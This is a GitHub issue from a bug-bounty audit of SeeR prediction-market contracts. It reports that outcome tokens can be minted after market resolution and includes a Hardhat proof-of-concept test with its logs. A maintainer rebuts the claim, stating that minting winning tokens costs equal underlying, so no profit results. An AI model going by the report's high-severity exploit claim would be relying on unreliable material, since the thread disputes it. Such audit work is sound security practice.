hats-finance / SeeR-PM-0x899bc13919880db76edf4ccd72bdfa5dfa666fb7

1 stars 0 forks source link

Users can participate in PMs after the market has been resolved #135

Open hats-bug-reporter[bot] opened 1 month ago

hats-bug-reporter[bot] commented 1 month ago

Github username: -- Twitter username: -- Submission hash (on-chain): 0xbce63405f7b51aa96cd6142461a65720a7129699b0b3a12b14c1eb43adeb3db1 Severity: high

Description: Description

After a successfull market resolution, the holders of a winning outcome tokens can redeem them for xDAI. This logic is done inside GnosisRouter.sol and Router.sol. However the users can still buy any outcome tokens after the market has been resolved. Users can call GnosisRouter::splitFromBase() and mint outcome tokens in exchange for xDAI. This leads to a huge advantage because at this stage(after market resolution), the answer of the PM is known. The winning outcome tokens, bought after the resolution guarantee a reward. This is possible because nowhere is checked if the market has been resolved before buying outcome tokens.

    function splitFromBase(Market market) external payable {
        uint256 shares = savingsXDaiAdapter.depositXDAI{value: msg.value}(address(this));

        _splitPosition(sDAI, market, shares);
    }

Attack Scenario\

Attachments

  1. Proof of Concept (PoC) File

POC

    it("participate after PM answer given POC", async function () {
      const ANSWER = 1;
      const REDEEMED_POSITION = 1;
      const [owner] = await ethers.getSigners();
      // split first
      const { outcomeSlotCount, conditionId, questionsIds, market } = await createMarketAndSplitPosition();

      // answer the question and resolve the market
      await time.increase(OPENING_TS);

      // submit answer
      await realitio.submitAnswer(questionsIds[0], ethers.toBeHex(BigInt(ANSWER), 32), 0, {
        value: ethers.parseEther(MIN_BOND),
      });

      // past finalized_ts
      await time.increase(QUESTION_TIMEOUT);

      await realityProxy.resolve(market);// timeout needs to pass before resolving

      const [wrapped1155] = await market.wrappedOutcome(1);// winning outcome token
      const token = await ethers.getContractAt("Wrapped1155", wrapped1155);
      const ownerBalanceBefore = await token.balanceOf(owner);

      // buy outcome tokens after the market has been resolved
      // before this split, splitFromBase() is called from owner in createMarketAndSplitPosition()
      await gnosisRouter.splitFromBase(market, {
        value: ethers.parseEther(SPLIT_AMOUNT),
      });

      console.log("Owner successfully bought outcome tokens after the redeeem!!!");

      // the user has successfully bought outcome tokens after the resolution
      const ownerBalanceAfter = await token.balanceOf(owner);
      console.log("Owner's Winning outcome token balance before: ", ownerBalanceBefore);
      console.log("Owner's Winning outcome token balance after : ", ownerBalanceAfter);

      const xDaiBalanceBeforeRedeem = await ethers.provider.getBalance(owner);
      // approve gnosisRouter to transfer user token to the contract
      await token.approve(gnosisRouter, ownerBalanceAfter);

      // redeem the winning position
      const trx = await gnosisRouter.redeemToBase(market, [REDEEMED_POSITION]);// redeem the winning positions
      console.log("Redeeem to base success'");

      const xDaiBalanceAfterRedeem = await ethers.provider.getBalance(owner);

      // The user has redeemed more xDAI because he participated after the market has been resolved
      console.log("User's balance before: '", xDaiBalanceBeforeRedeem);
      console.log("User's balance after: '", xDaiBalanceAfterRedeem);
    });

Tests logs:

Owner successfully bought outcome tokens after the redeeem!!!
Owner's Winning outcome token balance before:  8973496132241268597n
Owner's Winning outcome token balance after :  17946992264482537194n
Redeeem to base success'
User's balance before: ' 9974977053220837283729n
User's balance after: ' 9994976751757835173485n
  1. Reccomendation

Forbid the user to mint new outcome tokens after the PM has been resolved.

clesaege commented 1 month ago

You can indeed still mint tokens after resolution (this can be particularly useful if those are used in a conditional market). You can't get any advantage from it, as to get 1 token of the winning outcome, you need to put 1 token of the underlying. So when you redeem, you just get back your underlying. You can get tokens of losing outcome for free, but those are worthless and can't be redeemed.

Rassska commented 1 month ago

Not my issue, but will add a comment here:

clesaege commented 1 month ago

@Rassska I couldn't understand your comment.

cpp-phoenix commented 1 month ago

@Rassska Unique ERC20 are minted for every new market even if the questionId is same. It is not possible to mint another market's token like this.